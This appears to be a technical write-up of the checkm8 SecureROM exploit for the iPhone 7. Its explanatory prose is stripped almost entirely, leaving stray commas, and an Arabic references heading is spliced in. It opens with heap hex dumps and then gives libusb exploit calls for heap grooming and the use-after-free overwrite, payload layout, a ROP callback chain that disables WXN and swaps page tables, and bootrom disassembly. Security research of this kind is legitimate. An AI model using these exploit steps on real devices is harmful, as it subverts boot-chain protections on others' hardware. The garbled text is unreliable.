F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
, High Speed
Full Speed
, IO
-. , , , . , .
2. IO-
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
OUT
- . , io_buffer
. DFU
DFU_CLR_STATUS
, DFU
.
3. usb_device_io_request
use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
usb_device_io_request
t8010_overwrite
, .
t8010_nop_gadget
0x1800B0800
callback
next
usb_device_io_request
.
t8010_nop_gadget
, , LR
, - free
callback
- usb_core_complete_endpoint_io
. , , .
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
INSECURE_MEMORY + 0x800
. INSECURE_MEMORY
, 0x800
callback-chain
, .
4.
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
. :
0x1800B0000: t8010_shellcode # shell-code ... 0x1800B0180: t8010_handler # usb- ... 0x1800B0400: 0x1000006a5 # # SecureROM (0x100000000 -> 0x100000000) # ... 0x1800B0600: 0x60000180000625 # # SecureRAM (0x180000000 -> 0x180000000) # 0x1800B0608: 0x1800006a5 # # 0x182000000 0x180000000 # 0x1800B0610: disabe_wxn_arm64 # WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. callback-chain
dfu.usb_reset(device) dfu.release_device(device)
USB
usb_device_io_request
. , callback
. :
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
, 0x70
. f(x)
f
x
.
, Unicorn Engine
. uEmu .

iPhone 7
.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
. , .
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
, , . , , .
5.3. enter_critical_section()
.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
0x1800B0000
. INSECURE MEMORY
, . , :
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
, .
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never), RW
. WXN
- .
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
. BootROM
, INSECURE_MEMORY
.
5.8. tlbi
.
5.9. exit_critical_section()
.
5.10. 0x1800B0000
shellcode
.
, callback-chain
— WXN
shellcode
RW
-.
6. shellcode
shellcode
src/checkm8_arm64.S
:
6.1. USB
-
usb_core_hs_configuration_descriptor
usb_core_fs_configuration_descriptor
, . . USB
-, shellcode
.
6.2. USBSerialNumber
- , " PWND:[checkm8]"
. , .
6.3. USB
-
USB
- , .
6.4. USB
- TRAMPOLINE
( 0x1800AFC00
)
USB
- wValue
0xffff
, , . , : memcpy
, memset
exec
( ).
.
USB
Proof-of-Concept checkm8
Arduino
Usb Host Shield
. PoC iPhone 7
, . iPhone 7
DFU
Usb Host Shield
, PWND:[checkm8]
, USB
- ipwndfu ( , - ..). , , USB
-. USB_Host_Shield_2.0 . , patch- .
. checkm8
. , . jailbreak-. , jailbreak checkm8
— checkra1n . , jailbreak ( A5
A11
) iOS
. iWatch
, Apple TV
. , .
jailbreak, Apple. checkm8
verbose- iOS
, SecureROM
GID
- . , , JTAG/SWD . , , . , checkm8
, Apple
.
مراجع
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- ipwndfu LinusHenze